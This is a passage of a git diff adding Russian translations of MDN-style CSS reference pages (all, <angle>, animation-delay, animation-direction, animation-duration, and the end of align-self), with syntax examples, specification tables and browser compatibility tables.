+ <dd>If the size of the item overflows the alignment container, the item is instead aligned as if the alignment mode were <code>start</code>.</dd>
+ <dt><code>unsafe</code></dt>
+ <dd>Regardless of the relative sizes of the item and alignment container, the given alignment value is honored.</dd>
+ <dd> </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Specification</th>
+   <th scope="col">Status</th>
+   <th scope="col">Comment</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Box Alignment', '#align-self-property', 'align-self') }}</td>
+   <td>{{ Spec2('CSS3 Box Alignment') }}</td>
+   <td>Initial definition</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+
+
+<h3 id="Support_in_Flex_layout">Support in Flex layout</h3>
+
+<p>{{Compat("css.properties.align-self.flex_context")}}</p>
+
+<h3 id="Support_in_Grid_layout">Support in Grid layout</h3>
+
+<p>{{Compat("css.properties.align-self.grid_context")}}</p>
+
+<div>{{CSSRef}}</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Using_CSS_flexible_boxes" title="/en-US/docs/CSS/Using_CSS_flexible_boxes">Using CSS flexible boxes</a></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Basic_Concepts_of_Flexbox">Basic Concepts of Flexbox</a></em></li>
+ <li>CSS Flexbox Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Flexible_Box_Layout/Aligning_Items_in_a_Flex_Container">Aligning items in a flex container</a></em></li>
+ <li>CSS Grid Guide: <em><a href="/en-US/docs/Web/CSS/CSS_Grid_Layout/Box_Alignment_in_CSS_Grid_Layout">Box alignment in CSS Grid layouts</a></em></li>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Box_Alignment">CSS Box Alignment</a></li>
+ <li>The {{cssxref("align-items")}} property</li>
+</ul>
diff --git a/files/ru/web/css/all/index.html b/files/ru/web/css/all/index.html
new file mode 100644
index 0000000000..6b8e6d79f8
--- /dev/null
+++ b/files/ru/web/css/all/index.html
@@ -0,0 +1,153 @@
+---
+title: all
+slug: Web/CSS/all
+translation_of: Web/CSS/all
+---
+<div>{{CSSRef}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Сокращенное свойство CSS<em> </em><code><strong>all</strong></code> сбрасывает все свойства, кроме {{cssxref("unicode-bidi")}} и {{cssxref("direction")}}, до их начального или унаследованного значения.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">all: initial;
+all: inherit;
+all: unset;
+
+/* CSS Cascading and Inheritance Level 4 */
+all: revert;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>initial</code></dt>
+ <dd>Это ключевое слово указывает на изменение всех свойств, применяемых к элементу или родительскому элементу. Значения {{cssxref("unicode-bidi")}} и {{cssxref("direction")}} не затрагиваются.</dd>
+ <dt><code>inherit</code></dt>
+ <dd>Это ключевое слово указывает на изменение всех свойств, применяемых к элементу или родительскому элементу, на значение их родителя. Значения {{cssxref("unicode-bidi")}} и {{cssxref("direction")}} не затрагиваются.</dd>
+ <dt><code>unset</code></dt>
+ <dd>Это ключевое слово указывает на изменение всех свойств, применимых к элементу или родительскому элементу, на значение их родителя, если они наследуются или на их начальное значение, если нет. Значения {{cssxref("unicode-bidi")}} и {{cssxref("direction")}} не затрагиваются.</dd>
+ <dt><code>revert</code></dt>
+ <dd>Если каскадным значением свойства является ключевое слово revert, поведение зависит от источника, которому принадлежит объявление:
+ <dl>
+  <dt>user-agent origin</dt>
+  <dd>Эквивалент unset.</dd>
+  <dt>user origin</dt>
+  <dd>Откатывает каскад до уровня пользовательского агента, так что указанное значение вычисляется так, как если бы для этого свойства не были заданы правила уровня автора или уровня пользователя.</dd>
+  <dt>author origin</dt>
+  <dd>Откатывает каскад до уровня пользователя, так что указанное значение вычисляется так, как если бы для этого свойства не было задано никаких правил уровня автора. В целях возврата этот источник включает в себя источники переопределения и анимации.</dd>
+ </dl>
+ </dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p id="HTML"><strong>HTML</strong></p>
+
+<pre class="brush: html">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<p id="CSS"><strong>CSS</strong></p>
+
+<pre class="brush: css">html {
+  font-size: small;
+  background-color: #F0F0F0;
+  color: blue;
+}
+
+blockquote {
+  background-color: skyblue;
+  color: red;
+}
+</pre>
+
+<p id="Results">Результат:</p>
+
+<div id="ex0" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="No_all_property">No <code>all</code> property</h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }</pre>
+{{EmbedLiveSample("ex0", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}} использует стили браузера по умолчанию вместе с определенным фоном и цветом текста. Он также ведет себя как <em>block </em>элемент<em> </em>: текст, который следует за ним, находится под ним.</p>
+</div>
+
+<div id="ex1" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allunset"><code>all:unset</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: unset; }</pre>
+{{EmbedLiveSample("ex1", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}} не использует стили браузера по умолчанию: теперь это <em>inline</em> элемент (начальное значение), его {{cssxref("background-color")}} является <code>transparent</code> (начальное значение), но его {{cssxref("font-size")}} по-прежнему <code>small</code> унаследованное значение) и его {{cssxref("color")}} является <code>blue</code> (унаследованное значени).</p>
+</div>
+
+<div id="ex2" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinitial"><code>all:initial</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue;  color: red; }
+blockquote { all: initial; }</pre>
+{{EmbedLiveSample("ex2", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}} не использует стили браузера по умолчанию: теперь это<em> inline</em> элемент(начальное значение), его {{cssxref("background-color")}} является <code>transparent</code> (начальное значение), его {{cssxref("font-size")}} является <code>normal</code> (начальное значение) и его {{cssxref("color")}} является <code>black</code> (начальное значение).</p>
+</div>
+
+<div id="ex3" style="display: inline-block; width: 225px; vertical-align: top;">
+<h4 id="allinherit"><code>all:inherit</code></h4>
+
+<pre class="brush: html hidden">&lt;blockquote id="quote"&gt;Lorem ipsum dolor sit amet, consectetur adipiscing elit.&lt;/blockquote&gt; Phasellus eget velit sagittis.</pre>
+
+<pre class="brush: css hidden">html { font-size: small; background-color: #F0F0F0; color:blue; }
+blockquote { background-color: skyblue; color: red; }
+blockquote { all: inherit; }</pre>
+{{EmbedLiveSample("ex3", "200", "125")}}
+
+<p>{{HTMLElement("blockquote")}} не использует стили браузера по умолчанию: теперь это <em>block</em> элемент (унаследованное значение от содержащего его {{HTMLElement("div")}}), его {{cssxref("background-color")}} является <code>transparent</code> (унаследованное значение), его {{cssxref("font-size")}} является <code>small</code> (унаследованное значение) и его {{cssxref("color")}} является <code>blue</code> (унаследованное значение).</p>
+</div>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Cascade', '#all-shorthand', 'all') }}</td>
+   <td>{{ Spec2('CSS3 Cascade') }}</td>
+   <td>Начальное определение.</td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS4 Cascade', '#all-shorthand', 'all') }}</td>
+   <td>{{ Spec2('CSS4 Cascade') }}</td>
+   <td>Добавлено значение <code>revert</code>.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.properties.all")}}</p>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<p>Значения свойств в масштабе CSS:  {{cssxref("initial")}}, {{cssxref("inherit")}}, {{cssxref("unset")}}, и {{cssxref("revert")}}.</p>
diff --git a/files/ru/web/css/angle/index.html b/files/ru/web/css/angle/index.html
new file mode 100644
index 0000000000..19a6acc16f
--- /dev/null
+++ b/files/ru/web/css/angle/index.html
@@ -0,0 +1,92 @@
+---
+title: <angle>
+slug: Web/CSS/angle
+tags:
+  - CSS
+  - Web
+  - Тип данных CSS
+translation_of: Web/CSS/angle
+---
+<div>{{ CSSRef() }}</div>
+
+<p dir="ltr"><a href="/en-US/docs/Web/CSS/CSS_Types">Тип данных</a> <a href="/en-US/docs/Web/CSS">CSS</a> <strong><code>&lt;angle&gt;</code></strong> представляет собой значение угла, выраженное в градусах, градах, радианах или оборотах. Он используется, например, в {{cssxref ("&lt;gradient&gt;")}}  и в некоторых функциях {{cssxref ("transform")}}.</p>
+
+<p dir="ltr">{{EmbedInteractiveExample("pages/css/type-angle.html")}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<p>Тип данных <code>&lt;angle&gt;</code> состоит из числа ({{cssxref("&lt;number&gt;")}}), за которым следует одна из единиц измерения, представленные ниже. Между литералом единицы измерения и цифрой нет пробела. После <code>0</code> указывать единицу измерения необязательно.</p>
+
+<p>Опционально перед числом может стоять знак <code>+</code> или <code>-</code> . Положительное значение отмеряется по часовой стрелке, а отрицательные – против часовой. Чтобы достичь статистических свойств, каждый угол может быть представлен разными значениями, эквивалентными друг другу. Например, <code>90deg</code> равняется <code>-270deg</code>, а <code>1turn</code> равняется <code>4turn</code>. Тем не менее, для достижения динамических свойств эфект будет другим. Например, при применении {{cssxref ("animation")}} или {{cssxref ("transition")}}. </p>
+
+<h3 id="Единицы_измерения">Единицы измерения</h3>
+
+<dl>
+ <dt><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">deg</span></font></dt>
+ <dd>
+ <p dir="ltr" id="tw-target-text">Представляет угол в <a href="https://ru.wikipedia.org/wiki/Градус_(геометрия)">градусах</a>. Один полный круг равен <code>360deg</code>. Например: <code>0deg</code>, <code>90deg</code>, <code>14.23deg</code>.</p>
+ </dd>
+ <dt id="grad"><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">grad</span></font></dt>
+ <dd>Представляет угол в <a href="https://ru.wikipedia.org/wiki/Град,_минута,_секунда">градах</a>. Один полный круг равен <code>400grad</code>. Например: <code>0grad</code>, <code>100grad</code>, <code>38.8grad</code>.</dd>
+ <dt id="rad"><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">rad</span></font></dt>
+ <dd>Представляет угол в <a href="https://ru.wikipedia.org/wiki/Радиан">радианах</a>. Один полный круг равен 2π или примерно <code>6.2832rad</code>. <code>1rad</code> - это 180/π градусов. Например: <code>0rad</code>, <code>1.0708rad</code>, <code>6.2832rad</code>.</dd>
+ <dt id="turn"><font face="consolas, Liberation Mono, courier, monospace"><span style="background-color: rgba(220, 220, 220, 0.498039);">turn</span></font></dt>
+ <dd>Представляет угол в количестве <a href="https://ru.wikipedia.org/wiki/Оборот_(единица_измерения)">оборотов</a>. Один полный круг равен <code>1turn</code>. Например: <code>0turn</code>, <code>0.25turn</code>, <code>1.2turn</code>.</dd>
+</dl>
+
+<h2 id="Examples" name="Examples">Примеры</h2>
+
+<table style="width: 100%;">
+ <tbody>
+  <tr>
+   <td><img alt="Angle90.png" class="default internal" src="/@api/deki/files/5704/=Angle90.png"></td>
+   <td>
+    <p>Прямой угол: <code>90deg = 100grad = 0.25turn</code><code style="white-space: nowrap;">≈</code><code> 1.5708rad</code></p>
+   </td>
+  </tr>
+  <tr>
+   <td><img alt="Angle180.png" class="default internal" src="/@api/deki/files/5706/=Angle180.png"></td>
+   <td>Развернутый угол: <code>180deg = 200grad = 0.5turn</code><code> </code><code style="white-space: nowrap;">≈</code><code> 3.1416rad</code></td>
+  </tr>
+  <tr>
+   <td><img alt="AngleMinus90.png" class="default internal" src="/@api/deki/files/5707/=AngleMinus90.png"></td>
+   <td>Прямой угол (против часовой стрелки): <code>-90deg = -100grad = -0.25turn</code> <code style="white-space: nowrap;">≈</code><code> -1.5708rad</code></td>
+  </tr>
+  <tr>
+   <td><img alt="Angle0.png" class="default internal" src="/@api/deki/files/5708/=Angle0.png"></td>
+   <td>
+    <p>Нулевой угол: <code>0deg = 0grad = 0turn</code><code> </code><code style="white-space: nowrap;">=</code><code> 0rad</code></p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS4 Values', '#angles', '&lt;angle&gt;') }}</td>
+   <td>{{ Spec2('CSS4 Values') }}</td>
+   <td></td>
+  </tr>
+  <tr>
+   <td>{{ SpecName('CSS3 Values', '#angles', '&lt;angle&gt;') }}</td>
+   <td>{{ Spec2('CSS3 Values') }}</td>
+   <td>Изначальное определение.</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Совместимость_с_браузерами">Совместимость с браузерами</h2>
+
+<p>{{Compat("css.types.angle")}}</p>
+
+<div id="compat-mobile"></div>
diff --git a/files/ru/web/css/animation-delay/index.html b/files/ru/web/css/animation-delay/index.html
new file mode 100644
index 0000000000..bdb16f6d40
--- /dev/null
+++ b/files/ru/web/css/animation-delay/index.html
@@ -0,0 +1,126 @@
+---
+title: animation-delay
+slug: Web/CSS/animation-delay
+tags:
+  - CSS
+  - CSS анимации
+  - CSS свойства
+translation_of: Web/CSS/animation-delay
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p><a href="/en-US/docs/CSS" title="CSS">CSS</a> свойство <strong><code>animation-delay</code></strong> определяет время задежки перед стартом анимации.</p>
+
+<p>{{EmbedInteractiveExample("pages/css/animation-delay.html")}}</p>
+
+<p>Значение 0s, которое является значением по умолчанию, указывает на то, что анимация должна начаться непременно. В противном случае, старт анимации будет отложен на указанное время.</p>
+
+<p>При указании отрицательного значения, анимация также начнется непременно, но ее воспроизведение начнется не с первого ключевого кадра, а так, будто часть анимации уже была показана. Например, если вы укажете значение -1s, анимация будет начата с ключевого кадра, когда 1 секунда анимации уже была воспроизведена.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">animation-delay: 3s;
+animation-delay: 2s, 4ms;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd>Время задержки перед стартом анимации. Может быть определено в секундах (s), либо в милисекундах (ms). Если вы не укажите единицу измерения, свойство будет недействительным.</dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}
+</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Посмотрите <a href="/en-US/docs/CSS/CSS_animations" title="CSS/CSS_animations">CSS анимации</a> для примера.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-delay', 'animation-delay')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.10</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>12{{property_prefix("-o")}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/CSS/Tutorials/Using_CSS_animations" title="Tutorial about CSS animations">Использование CSS анимаций</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/css/animation-direction/index.html b/files/ru/web/css/animation-direction/index.html
new file mode 100644
index 0000000000..d3d2f0c36e
--- /dev/null
+++ b/files/ru/web/css/animation-direction/index.html
@@ -0,0 +1,191 @@
+---
+title: animation-direction
+slug: Web/CSS/animation-direction
+translation_of: Web/CSS/animation-direction
+---
+<div>{{CSSRef}}{{SeeCompatTable}}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>CSS-свойство <strong><code>animation-direction</code></strong> определяет, должна ли анимация воспроизводиться вперед, назад или переменно вперед и назад.<br>
+ <br>
+ <span style="font-size: 1rem; letter-spacing: -0.00278rem;">Также удобно использовать сокращенное свойство {{cssxref("animation")}}, чтобы одновременно установить все свойства анимации.</span></p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush: css">/* Одиночная анимация */
+animation-direction: normal;
+animation-direction: reverse;
+animation-direction: alternate;
+animation-direction: alternate-reverse;
+
+/* Несколько анимаций */
+animation-direction: normal, reverse;
+animation-direction: alternate, reverse, normal;
+
+/* Глобальные значения */
+animation-direction: inherit;
+animation-direction: initial;
+animation-direction: unset;
+</pre>
+
+<h3 id="Значения">Значения</h3>
+
+<dl>
+ <dt><code>normal</code></dt>
+ <dd>Анимация проигрывается вперед каждую итерацию, то есть, когда анимация заканчивается, она сразу сбрасывается в <em>начальное </em>положение и снова проигрывается. Это значение по умолчанию.</dd>
+ <dt><code>reverse</code></dt>
+ <dd>Анимация проигрывается наоборот, с <em>последнего </em>положения до первого и потом снова сбрасывается в <em>конечное </em>положение и снова проигрывается.</dd>
+ <dt><code>alternate</code></dt>
+ <dd>Анимация меняет направление в каждом цикле, то есть в первом цикле она начинает с <em>начального</em> положения, доходит до <em>конечного</em>, а во втором цикле продолжает с <em>конечного </em>и доходит до <em>начального </em>и так далее, в зависимости от количества циклов анимации <code>animation-iteration-count</code>.</dd>
+ <dt><code>alternate-reverse</code></dt>
+ <dd>Анимация начинает проигрываться с <em>конечного </em>положения и доходит до <em>начального</em>, а в следующем цикле продолжая с <em>начального </em>переходит в <em>конечное</em>, в зависимости от количества итераций анимации <code>animation-iteration-count</code>.</dd>
+ <dd></dd>
+</dl>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры">Примеры</h2>
+
+<p>Смотрите примеры <a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="CSS/CSS_animations">CSS а</a>нимаций.</p>
+
+<h2 id="Спецификации">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{SpecName('CSS3 Animations', '#animation-direction', 'animation-direction')}}</td>
+   <td>{{Spec2('CSS3 Animations')}}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_compatibility" name="Browser_compatibility">Совместимость с браузерами</h2>
+
+<div>{{CompatibilityTable}}</div>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+   <td>{{CompatGeckoDesktop("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>12{{property_prefix("-o")}}<br>
+    12.50</td>
+   <td>4.0{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>reverse</code></td>
+   <td>19</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td><code>alternate-reverse</code></td>
+   <td>19</td>
+   <td>{{CompatGeckoDesktop("16.0")}}</td>
+   <td>10</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+  </tr>
+  <tr>
+   <td>Unprefixed</td>
+   <td>{{CompatChrome(43.0)}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Android Webview</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("5.0")}}{{property_prefix("-moz")}}<br>
+    {{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>reverse</code></td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td><code>alternate-reverse</code></td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatGeckoMobile("16.0")}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatVersionUnknown}}{{property_prefix("-webkit")}}</td>
+  </tr>
+  <tr>
+   <td>Без префиксов</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatNo}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{CompatChrome(43.0)}}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<h2 id="Смотрите_также">Смотрите также</h2>
+
+<ul>
+ <li><a href="/en-US/docs/Web/CSS/CSS_Animations/Using_CSS_animations" title="Tutorial about CSS animations">Использование CSS анимации</a></li>
+ <li>{{domxref("AnimationEvent", "AnimationEvent")}}</li>
+</ul>
diff --git a/files/ru/web/css/animation-duration/index.html b/files/ru/web/css/animation-duration/index.html
new file mode 100644
index 0000000000..5ffc1224da
--- /dev/null
+++ b/files/ru/web/css/animation-duration/index.html
@@ -0,0 +1,131 @@
+---
+title: animation-duration
+slug: Web/CSS/animation-duration
+translation_of: Web/CSS/animation-duration
+---
+<div>{{CSSRef}} {{ SeeCompatTable() }}</div>
+
+<h2 id="Описание">Описание</h2>
+
+<p>Свойство <strong><code>animation-duration</code></strong> устанавливает длительность анимации во времени за один цикл.</p>
+
+<p> </p>
+
+<p>Значение по умолчанию <strong><code>0s</code> </strong>определяет, что анимация не должна выполняться.</p>
+
+<p>Удобно использовать сокращенное свойство {{ cssxref("animation") }} чтобы установить сразу все свойства анимации.</p>
+
+<p>{{cssinfo}}</p>
+
+<h2 id="Синтаксис">Синтаксис</h2>
+
+<pre class="brush:css">animation-duration: 6s;
+animation-duration: 120ms;
+animation-duration: 1s, 15s;
+animation-duration: 10s, 30s, 230ms;
+</pre>
+
+<h3 id="Примеры">Примеры</h3>
+
+<dl>
+ <dt><code>&lt;time&gt;</code></dt>
+ <dd> </dd>
+</dl>
+
+<dl>
+ <dd>Длительность анимации определяется в секундах <code>s</code> или в миллисекундах <code>ms</code>. По умолчанию стоит значение <code>0s</code>. Отрицательные значения являются недействительными.</dd>
+</dl>
+
+<div class="note"><strong>Предупреждение:</strong> Отрицательные значения являются недействительными и отменяют объявление. Некоторые старые реализации считают отрицательные значения равнозначными <code>0s</code>.</div>
+
+<h3 id="Формальный_синтаксис">Формальный синтаксис</h3>
+
+<pre class="syntaxbox">{{csssyntax}}</pre>
+
+<h2 id="Примеры_2">Примеры</h2>
+
+<p>Смотрите для примеров <a href="/en/CSS/CSS_animations" title="en/CSS/CSS_animations">CSS анимации</a>.</p>
+
+<h2 id="Specifications" name="Specifications">Спецификации</h2>
+
+<table class="standard-table">
+ <thead>
+  <tr>
+   <th scope="col">Спецификация</th>
+   <th scope="col">Статус</th>
+   <th scope="col">Комментарий</th>
+  </tr>
+ </thead>
+ <tbody>
+  <tr>
+   <td>{{ SpecName('CSS3 Animations', '#animation-duration', 'animation-duration') }}</td>
+   <td>{{ Spec2('CSS3 Animations') }}</td>
+   <td>Начальное определение</td>
+  </tr>
+ </tbody>
+</table>
+
+<h2 id="Browser_Compatibility" name="Browser_Compatibility">Совместимость с браузерами</h2>
+
+<p>{{CompatibilityTable}}</p>
+
+<div id="compat-desktop">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Chrome</th>
+   <th>Firefox (Gecko)</th>
+   <th>Internet Explorer</th>
+   <th>Opera</th>
+   <th>Safari (WebKit)</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>3.0{{ property_prefix("-webkit") }}<br>
+    {{CompatChrome(43.0)}}</td>
+   <td>{{ CompatGeckoDesktop("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoDesktop("16.0") }}</td>
+   <td>10</td>
+   <td>12{{ property_prefix("-o") }}<br>
+    12.10</td>
+   <td>4.0{{ property_prefix("-webkit") }}</td>
+  </tr>
+ </tbody>
+</table>
+</div>
+
+<div id="compat-mobile">
+<table class="compat-table">
+ <tbody>
+  <tr>
+   <th>Feature</th>
+   <th>Android</th>
+   <th>Chrome</th>
+   <th>Firefox Mobile (Gecko)</th>
+   <th>IE Phone</th>
+   <th>Opera Mobile</th>
+   <th>Safari Mobile</th>
+   <th>Chrome for Android</th>
+  </tr>
+  <tr>
+   <td>Basic support</td>
+   <td>2.0{{ property_prefix("-webkit") }}</td>
+   <td>{{CompatUnknown}}</td>
+   <td>{{ CompatGeckoMobile("5.0") }}{{ property_prefix("-moz") }}<br>
+    {{ CompatGeckoMobile("16.0") }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>{{ CompatNo() }}</td>
+   <td>4.2{{ property_prefix("-webkit") }}</td>
